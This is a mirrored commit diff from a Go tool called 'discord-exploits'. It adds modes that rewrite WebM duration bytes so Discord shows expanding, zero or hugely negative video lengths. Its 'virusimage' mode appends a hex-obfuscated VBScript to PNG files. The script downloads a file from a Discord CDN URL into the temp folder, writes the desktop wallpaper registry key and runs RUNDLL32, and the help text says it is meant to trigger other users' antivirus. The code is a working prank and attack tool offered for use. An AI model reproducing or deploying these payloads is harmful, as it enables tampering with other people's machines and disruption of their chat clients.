mirror of
https://github.com/Schmenn/discord-exploits.git
synced 2024-12-22 21:45:30 +00:00
2 new modes
[-]skipArgs as it does not work [^] moved smaller functions to /modules [+] zerovideo mode [+] negativevideo mode [^] made virusimage prettier
This commit is contained in:
parent
dfc80cb845
commit
e840303ea6
2
.gitignore
vendored
2
.gitignore
vendored
|
@ -18,3 +18,5 @@
|
||||||
# vendor/
|
# vendor/
|
||||||
|
|
||||||
*.png
|
*.png
|
||||||
|
|
||||||
|
*.bat
|
||||||
|
|
102
exploits.go
102
exploits.go
|
@ -3,6 +3,7 @@ package main
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/Schmenn/discord-exploits/exploits"
|
"github.com/Schmenn/discord-exploits/exploits"
|
||||||
|
"github.com/Schmenn/discord-exploits/modules"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
@ -11,6 +12,7 @@ var (
|
||||||
quiet bool = false
|
quiet bool = false
|
||||||
inputFile string = "no input file provided"
|
inputFile string = "no input file provided"
|
||||||
mode string = "no mode specified"
|
mode string = "no mode specified"
|
||||||
|
//skipArg int = 0
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
@ -18,77 +20,51 @@ func main() {
|
||||||
handleArgs(args, &quiet)
|
handleArgs(args, &quiet)
|
||||||
//fmt.Println(quiet)
|
//fmt.Println(quiet)
|
||||||
if !quiet {
|
if !quiet {
|
||||||
welcome()
|
modules.Welcome()
|
||||||
//exploits.RunExpandingVideoTask()
|
//exploits.RunExpandingVideoTask()
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Print("\n", inputFile, "\n")
|
fmt.Println("input file: " + inputFile)
|
||||||
fmt.Println(mode)
|
fmt.Println("mode: " + mode)
|
||||||
|
|
||||||
initCommand(inputFile, mode)
|
initCommand(inputFile, mode)
|
||||||
}
|
}
|
||||||
|
|
||||||
func welcome() {
|
|
||||||
fmt.Println("Discord Exploits --- made by Schmenn")
|
|
||||||
fmt.Println(" _ _ _")
|
|
||||||
fmt.Println(" | | (_) |")
|
|
||||||
fmt.Println(" _____ ___ __ | | ___ _| |_ ___")
|
|
||||||
fmt.Println(" / _ \\ \\/ / '_ \\| |/ _ \\| | __/ __|")
|
|
||||||
fmt.Println(" | __/> <| |_) | | (_) | | |_\\__ \\")
|
|
||||||
fmt.Println(" \\___/_/\\_\\ .__/|_|\\___/|_|\\__|___/")
|
|
||||||
fmt.Println(" | |")
|
|
||||||
fmt.Println(" |_|")
|
|
||||||
}
|
|
||||||
|
|
||||||
func handleArgs(args []string, quiet *bool) {
|
func handleArgs(args []string, quiet *bool) {
|
||||||
var skipArg int = 0
|
|
||||||
Loop:
|
/*if skipArg > 0 {
|
||||||
if skipArg > 0 {
|
|
||||||
skipArg = skipArg - 1
|
skipArg = skipArg - 1
|
||||||
goto Loop
|
return
|
||||||
} else {
|
}*/
|
||||||
for i, s := range args {
|
for i, s := range args {
|
||||||
switch s {
|
switch s {
|
||||||
// quiet
|
// quiet
|
||||||
case "-q":
|
case "-q":
|
||||||
*quiet = true
|
*quiet = true
|
||||||
case "--quiet":
|
case "--quiet":
|
||||||
*quiet = true
|
*quiet = true
|
||||||
|
|
||||||
// Input File
|
// Input File
|
||||||
case "-i":
|
case "-i":
|
||||||
skipArg = skipArg + 1
|
//skipArg++
|
||||||
inputFile = args[i+1]
|
inputFile = args[i+1]
|
||||||
|
|
||||||
// Mode Selection
|
// Mode Selection
|
||||||
case "-m":
|
case "-m":
|
||||||
skipArg = skipArg + 1
|
//skipArg++
|
||||||
mode = args[i+1]
|
mode = args[i+1]
|
||||||
|
|
||||||
// Help Message
|
// Help Message
|
||||||
case "-h":
|
case "-h":
|
||||||
help()
|
modules.Help(os.Args[0])
|
||||||
*quiet = true
|
*quiet = true
|
||||||
return
|
return
|
||||||
|
|
||||||
default:
|
default:
|
||||||
//fmt.Println("unused argument provided, noone cares tho")
|
break
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
func help() {
|
|
||||||
fmt.Println("Discord-Exploits Help")
|
|
||||||
fmt.Println("")
|
|
||||||
fmt.Println("-q doesn't show welcome screen")
|
|
||||||
fmt.Println("-i <file> provide input file")
|
|
||||||
fmt.Println("-m <mode> specify mode")
|
|
||||||
fmt.Println("")
|
|
||||||
fmt.Println("modes:")
|
|
||||||
fmt.Println(" expandingvideo takes input video (.webm) and edits it so discord will keep making it longer")
|
|
||||||
fmt.Println(" virusimage takes an image (.png) and makes other users' windows defender think it's a virus")
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func initCommand(inputFile string, mode string) {
|
func initCommand(inputFile string, mode string) {
|
||||||
|
@ -102,6 +78,22 @@ func initCommand(inputFile string, mode string) {
|
||||||
} else {
|
} else {
|
||||||
fmt.Println("File is not a webm, check -h")
|
fmt.Println("File is not a webm, check -h")
|
||||||
}
|
}
|
||||||
|
case "negativevideo":
|
||||||
|
if strings.HasSuffix(inputFile, ".webm") {
|
||||||
|
fmt.Println("editing video.")
|
||||||
|
exploits.RunNegativeVideoTask(inputFile)
|
||||||
|
fmt.Println("completed task.")
|
||||||
|
} else {
|
||||||
|
fmt.Println("File is not a webm, check -h")
|
||||||
|
}
|
||||||
|
case "zerovideo":
|
||||||
|
if strings.HasSuffix(inputFile, ".webm") {
|
||||||
|
fmt.Println("editing video.")
|
||||||
|
exploits.RunZeroVideoTask(inputFile)
|
||||||
|
fmt.Println("completed task.")
|
||||||
|
} else {
|
||||||
|
fmt.Println("File is not a webm, check -h")
|
||||||
|
}
|
||||||
case "virusimage":
|
case "virusimage":
|
||||||
if strings.HasSuffix(inputFile, ".png") {
|
if strings.HasSuffix(inputFile, ".png") {
|
||||||
fmt.Println("editing photo.")
|
fmt.Println("editing photo.")
|
||||||
|
|
|
@ -5,52 +5,33 @@ import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
"os"
|
"os"
|
||||||
"math/rand"
|
"github.com/Schmenn/discord-exploits/modules"
|
||||||
"time"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// RunExpandingVideoTask edits file
|
// RunExpandingVideoTask edits file so that it keeps expanding while it's getting played
|
||||||
func RunExpandingVideoTask(fileName string) {
|
func RunExpandingVideoTask(fileName string) {
|
||||||
|
|
||||||
data, err := ioutil.ReadFile(fileName)
|
data, err := ioutil.ReadFile(fileName)
|
||||||
Check(err)
|
modules.Check(err)
|
||||||
index := bytes.Index(data, []byte("\x44\x89\x88"))
|
index := bytes.Index(data, []byte("\x44\x89\x88"))
|
||||||
if index == -1{
|
if index == -1{
|
||||||
fmt.Println("could not find the part of the file that needs to be modified, exiting")
|
fmt.Println("could not find the part of the file that needs to be modified, exiting")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
data[index+3] = 63
|
data[index+3] = 63
|
||||||
data[index+4] = 240
|
data[index+4] = 240
|
||||||
data[index+5] = 0
|
data[index+5] = 0
|
||||||
data[index+6] = 0
|
data[index+6] = 0
|
||||||
data[index+7] = 0
|
data[index+7] = 0
|
||||||
data[index+8] = 0
|
data[index+8] = 0
|
||||||
data[index+9] = 0
|
data[index+9] = 0
|
||||||
data[index+10] = 0
|
data[index+10] = 0
|
||||||
|
|
||||||
name := CreateName("webm")
|
name := modules.CreateName("webm")
|
||||||
|
|
||||||
fmt.Println(name)
|
fmt.Println(name)
|
||||||
|
|
||||||
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
|
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// CreateName generates a random file name
|
|
||||||
func CreateName(extension string) string {
|
|
||||||
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
|
||||||
b := make([]byte, 6)
|
|
||||||
rand.Seed(time.Now().Unix())
|
|
||||||
for i := range b {
|
|
||||||
b[i] = charset[rand.Intn(len(charset))]
|
|
||||||
}
|
|
||||||
return string(b)+"."+extension
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check Error Handling
|
|
||||||
func Check(e error) {
|
|
||||||
if e != nil {
|
|
||||||
panic(e)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
39
exploits/negative-video.go
Normal file
39
exploits/negative-video.go
Normal file
|
@ -0,0 +1,39 @@
|
||||||
|
package exploits
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"os"
|
||||||
|
"github.com/Schmenn/discord-exploits/modules"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RunNegativeVideoTask edits file so it has got a huge negative duration
|
||||||
|
func RunNegativeVideoTask(fileName string) {
|
||||||
|
|
||||||
|
data, err := ioutil.ReadFile(fileName)
|
||||||
|
modules.Check(err)
|
||||||
|
index := bytes.Index(data, []byte("\x44\x89\x88"))
|
||||||
|
if index == -1{
|
||||||
|
fmt.Println("could not find the part of the file that needs to be modified, exiting")
|
||||||
|
fmt.Println("are you sure the file is actually a webm?")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
data[index+3] = 66
|
||||||
|
data[index+4] = 255
|
||||||
|
data[index+5] = 176
|
||||||
|
data[index+6] = 96
|
||||||
|
data[index+7] = 0
|
||||||
|
data[index+8] = 0
|
||||||
|
data[index+9] = 0
|
||||||
|
data[index+10] = 0
|
||||||
|
|
||||||
|
name := modules.CreateName("webm")
|
||||||
|
|
||||||
|
fmt.Println(name)
|
||||||
|
|
||||||
|
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
|
||||||
|
|
||||||
|
}
|
|
@ -4,14 +4,40 @@ import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
"os"
|
"os"
|
||||||
|
"github.com/Schmenn/discord-exploits/modules"
|
||||||
)
|
)
|
||||||
|
|
||||||
// RunVirusImageTask edits file
|
// RunVirusImageTask edits file
|
||||||
func RunVirusImageTask(fileName string) {
|
func RunVirusImageTask(fileName string) {
|
||||||
data, err := ioutil.ReadFile(fileName)
|
data, err := ioutil.ReadFile(fileName)
|
||||||
Check(err)
|
modules.Check(err)
|
||||||
data = append(data, []byte("\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55\x73\x65\x72\x22\x29\x0D\x0A\x20\x0D\x0A\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73\x28\x22\x25\x74\x65\x6D\x70\x25\x22\x29\x0D\x0A\x20\x0D\x0A\x64\x69\x6D\x20\x78\x48\x74\x74\x70\x3A\x20\x53\x65\x74\x20\x78\x48\x74\x74\x70\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50\x22\x29\x0D\x0A\x64\x69\x6D\x20\x62\x53\x74\x72\x6D\x3A\x20\x53\x65\x74\x20\x62\x53\x74\x72\x6D\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D\x22\x29\x0D\x0A\x78\x48\x74\x74\x70\x2E\x4F\x70\x65\x6E\x20\x22\x47\x45\x54\x22\x2C\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2E\x64\x69\x73\x63\x6F\x72\x64\x61\x70\x70\x2E\x63\x6F\x6D\x2F\x65\x6D\x6F\x6A\x69\x73\x2F\x36\x38\x31\x35\x37\x37\x36\x32\x35\x33\x39\x34\x38\x37\x32\x33\x37\x30\x2E\x70\x6E\x67\x3F\x76\x3D\x31\x22\x2C\x20\x46\x61\x6C\x73\x65\x0D\x0A\x78\x48\x74\x74\x70\x2E\x53\x65\x6E\x64\x0D\x0A\x20\x0D\x0A\x77\x69\x74\x68\x20\x62\x53\x74\x72\x6D\x0D\x0A\x20\x20\x20\x20\x2E\x74\x79\x70\x65\x20\x3D\x20\x31\x20\x27\x2F\x2F\x62\x69\x6E\x61\x72\x79\x0D\x0A\x20\x20\x20\x20\x2E\x6F\x70\x65\x6E\x0D\x0A\x20\x20\x20\x20\x2E\x77\x72\x69\x74\x65\x20\x78\x48\x74\x74\x70\x2E\x72\x65\x73\x70\x6F\x6E\x73\x65\x42\x6F\x64\x79\x0D\x0A\x20\x20\x20\x20\x2E\x73\x61\x76\x65\x74\x6F\x66\x69\x6C\x65\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x2C\x20\x32\x20\x27\x2F\x2F\x6F\x76\x65\x72\x77\x72\x69\x74\x65\x0D\x0A\x65\x6E\x64\x20\x77\x69\x74\x68\x0D\x0A\x20\x0D\x0A\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x65\x67\x57\x72\x69\x74\x65\x20\x22\x48\x4B\x43\x55\x5C\x43\x6F\x6E\x74\x72\x6F\x6C\x20\x50\x61\x6E\x65\x6C\x5C\x44\x65\x73\x6B\x74\x6F\x70\x5C\x57\x61\x6C\x6C\x70\x61\x70\x65\x72\x22\x2C\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x0D\x0A\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x75\x6E\x20\x22\x25\x77\x69\x6E\x64\x69\x72\x25\x5C\x53\x79\x73\x74\x65\x6D\x33\x32\x5C\x52\x55\x4E\x44\x4C\x4C\x33\x32\x2E\x45\x58\x45\x20\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x2C\x55\x70\x64\x61\x74\x65\x50\x65\x72\x55\x73\x65\x72\x53\x79\x73\x74\x65\x6D\x50\x61\x72\x61\x6D\x65\x74\x65\x72\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")...)
|
data = append(data, []byte("\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63" +
|
||||||
name := CreateName("png")
|
"\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45" +
|
||||||
|
"\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55" +
|
||||||
|
"\x73\x65\x72\x22\x29\x0D\x0A\x20\x0D\x0A\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x3D\x20\x6F\x62\x6A" +
|
||||||
|
"\x53\x68\x65\x6C\x6C\x2E\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E" +
|
||||||
|
"\x67\x73\x28\x22\x25\x74\x65\x6D\x70\x25\x22\x29\x0D\x0A\x20\x0D\x0A\x64\x69\x6D\x20\x78\x48\x74\x74\x70\x3A\x20" +
|
||||||
|
"\x53\x65\x74\x20\x78\x48\x74\x74\x70\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x4D\x69" +
|
||||||
|
"\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50\x22\x29\x0D\x0A\x64\x69\x6D\x20\x62\x53\x74\x72\x6D" +
|
||||||
|
"\x3A\x20\x53\x65\x74\x20\x62\x53\x74\x72\x6D\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22" +
|
||||||
|
"\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D\x22\x29\x0D\x0A\x78\x48\x74\x74\x70\x2E\x4F\x70\x65\x6E\x20\x22" +
|
||||||
|
"\x47\x45\x54\x22\x2C\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2E\x64\x69\x73\x63\x6F\x72\x64\x61\x70" +
|
||||||
|
"\x70\x2E\x63\x6F\x6D\x2F\x65\x6D\x6F\x6A\x69\x73\x2F\x36\x38\x31\x35\x37\x37\x36\x32\x35\x33\x39\x34\x38\x37\x32" +
|
||||||
|
"\x33\x37\x30\x2E\x70\x6E\x67\x3F\x76\x3D\x31\x22\x2C\x20\x46\x61\x6C\x73\x65\x0D\x0A\x78\x48\x74\x74\x70\x2E\x53" +
|
||||||
|
"\x65\x6E\x64\x0D\x0A\x20\x0D\x0A\x77\x69\x74\x68\x20\x62\x53\x74\x72\x6D\x0D\x0A\x20\x20\x20\x20\x2E\x74\x79\x70" +
|
||||||
|
"\x65\x20\x3D\x20\x31\x20\x27\x2F\x2F\x62\x69\x6E\x61\x72\x79\x0D\x0A\x20\x20\x20\x20\x2E\x6F\x70\x65\x6E\x0D\x0A" +
|
||||||
|
"\x20\x20\x20\x20\x2E\x77\x72\x69\x74\x65\x20\x78\x48\x74\x74\x70\x2E\x72\x65\x73\x70\x6F\x6E\x73\x65\x42\x6F\x64" +
|
||||||
|
"\x79\x0D\x0A\x20\x20\x20\x20\x2E\x73\x61\x76\x65\x74\x6F\x66\x69\x6C\x65\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74" +
|
||||||
|
"\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x2C\x20\x32\x20\x27\x2F\x2F\x6F" +
|
||||||
|
"\x76\x65\x72\x77\x72\x69\x74\x65\x0D\x0A\x65\x6E\x64\x20\x77\x69\x74\x68\x0D\x0A\x20\x0D\x0A\x6F\x62\x6A\x53\x68" +
|
||||||
|
"\x65\x6C\x6C\x2E\x52\x65\x67\x57\x72\x69\x74\x65\x20\x22\x48\x4B\x43\x55\x5C\x43\x6F\x6E\x74\x72\x6F\x6C\x20\x50" +
|
||||||
|
"\x61\x6E\x65\x6C\x5C\x44\x65\x73\x6B\x74\x6F\x70\x5C\x57\x61\x6C\x6C\x70\x61\x70\x65\x72\x22\x2C\x20\x73\x74\x72" +
|
||||||
|
"\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x0D\x0A" +
|
||||||
|
"\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x75\x6E\x20\x22\x25\x77\x69\x6E\x64\x69\x72\x25\x5C\x53\x79\x73\x74\x65" +
|
||||||
|
"\x6D\x33\x32\x5C\x52\x55\x4E\x44\x4C\x4C\x33\x32\x2E\x45\x58\x45\x20\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x2C" +
|
||||||
|
"\x55\x70\x64\x61\x74\x65\x50\x65\x72\x55\x73\x65\x72\x53\x79\x73\x74\x65\x6D\x50\x61\x72\x61\x6D\x65\x74\x65\x72" +
|
||||||
|
"\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")...)
|
||||||
|
name := modules.CreateName("png")
|
||||||
fmt.Println(name)
|
fmt.Println(name)
|
||||||
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
|
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
|
||||||
}
|
}
|
||||||
|
|
39
exploits/zero-video.go
Normal file
39
exploits/zero-video.go
Normal file
|
@ -0,0 +1,39 @@
|
||||||
|
package exploits
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"os"
|
||||||
|
"github.com/Schmenn/discord-exploits/modules"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RunZeroVideoTask edits file so it has got a duration of 0
|
||||||
|
func RunZeroVideoTask(fileName string) {
|
||||||
|
|
||||||
|
data, err := ioutil.ReadFile(fileName)
|
||||||
|
modules.Check(err)
|
||||||
|
index := bytes.Index(data, []byte("\x44\x89\x88"))
|
||||||
|
if index == -1{
|
||||||
|
fmt.Println("could not find the part of the file that needs to be modified, exiting")
|
||||||
|
fmt.Println("are you sure the file is actually a webm?")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
data[index+3] = 0
|
||||||
|
data[index+4] = 0
|
||||||
|
data[index+5] = 0
|
||||||
|
data[index+6] = 0
|
||||||
|
data[index+7] = 0
|
||||||
|
data[index+8] = 0
|
||||||
|
data[index+9] = 0
|
||||||
|
data[index+10] = 0
|
||||||
|
|
||||||
|
name := modules.CreateName("webm")
|
||||||
|
|
||||||
|
fmt.Println(name)
|
||||||
|
|
||||||
|
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
|
||||||
|
|
||||||
|
}
|
8
modules/error.go
Normal file
8
modules/error.go
Normal file
|
@ -0,0 +1,8 @@
|
||||||
|
package modules
|
||||||
|
|
||||||
|
// Check Error Handling
|
||||||
|
func Check(e error) {
|
||||||
|
if e != nil {
|
||||||
|
panic(e)
|
||||||
|
}
|
||||||
|
}
|
23
modules/help.go
Normal file
23
modules/help.go
Normal file
|
@ -0,0 +1,23 @@
|
||||||
|
package modules
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
)
|
||||||
|
|
||||||
|
//Help program usage
|
||||||
|
func Help(progName string) {
|
||||||
|
fmt.Println("Discord-Exploits Help")
|
||||||
|
fmt.Println(" Usage: " + progName + " -i <input file> -m <mode> [-q]")
|
||||||
|
fmt.Println("")
|
||||||
|
fmt.Println("--quiet -q doesn't show welcome screen")
|
||||||
|
fmt.Println("-i <file> provide input file")
|
||||||
|
fmt.Println("-m <mode> specify mode")
|
||||||
|
fmt.Println("")
|
||||||
|
fmt.Println("modes:")
|
||||||
|
fmt.Println(" video:")
|
||||||
|
fmt.Println(" expandingvideo takes input video (.webm) and edits it so discord will keep making it longer")
|
||||||
|
fmt.Println(" negativevideo takes input video (.webm) and edits it so discord will think it has got a huge negative duration")
|
||||||
|
fmt.Println(" zerovideo takes input video (.webm) and edits it so discord will think it has got a 0s duration")
|
||||||
|
fmt.Println(" image:")
|
||||||
|
fmt.Println(" virusimage takes an image (.png) and makes other users' windows defender think it's a virus\n ")
|
||||||
|
}
|
19
modules/name.go
Normal file
19
modules/name.go
Normal file
|
@ -0,0 +1,19 @@
|
||||||
|
package modules
|
||||||
|
|
||||||
|
import(
|
||||||
|
"math/rand"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
// CreateName generates a random file name
|
||||||
|
func CreateName(extension string) string {
|
||||||
|
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||||
|
b := make([]byte, 6)
|
||||||
|
rand.Seed(time.Now().Unix())
|
||||||
|
for i := range b {
|
||||||
|
b[i] = charset[rand.Intn(len(charset))]
|
||||||
|
}
|
||||||
|
return string(b)+"."+extension
|
||||||
|
}
|
19
modules/welcome.go
Normal file
19
modules/welcome.go
Normal file
|
@ -0,0 +1,19 @@
|
||||||
|
package modules
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
)
|
||||||
|
|
||||||
|
//Welcome greets the user on startup
|
||||||
|
func Welcome() {
|
||||||
|
fmt.Println("Discord Exploits --- made by Schmenn")
|
||||||
|
fmt.Println(" _ _ _")
|
||||||
|
fmt.Println(" | | (_) |")
|
||||||
|
fmt.Println(" _____ ___ __ | | ___ _| |_ ___")
|
||||||
|
fmt.Println(" / _ \\ \\/ / '_ \\| |/ _ \\| | __/ __|")
|
||||||
|
fmt.Println(" | __/> <| |_) | | (_) | | |_\\__ \\")
|
||||||
|
fmt.Println(" \\___/_/\\_\\ .__/|_|\\___/|_|\\__|___/")
|
||||||
|
fmt.Println(" | |")
|
||||||
|
fmt.Println(" |_|")
|
||||||
|
|
||||||
|
}
|
Loading…
Reference in a new issue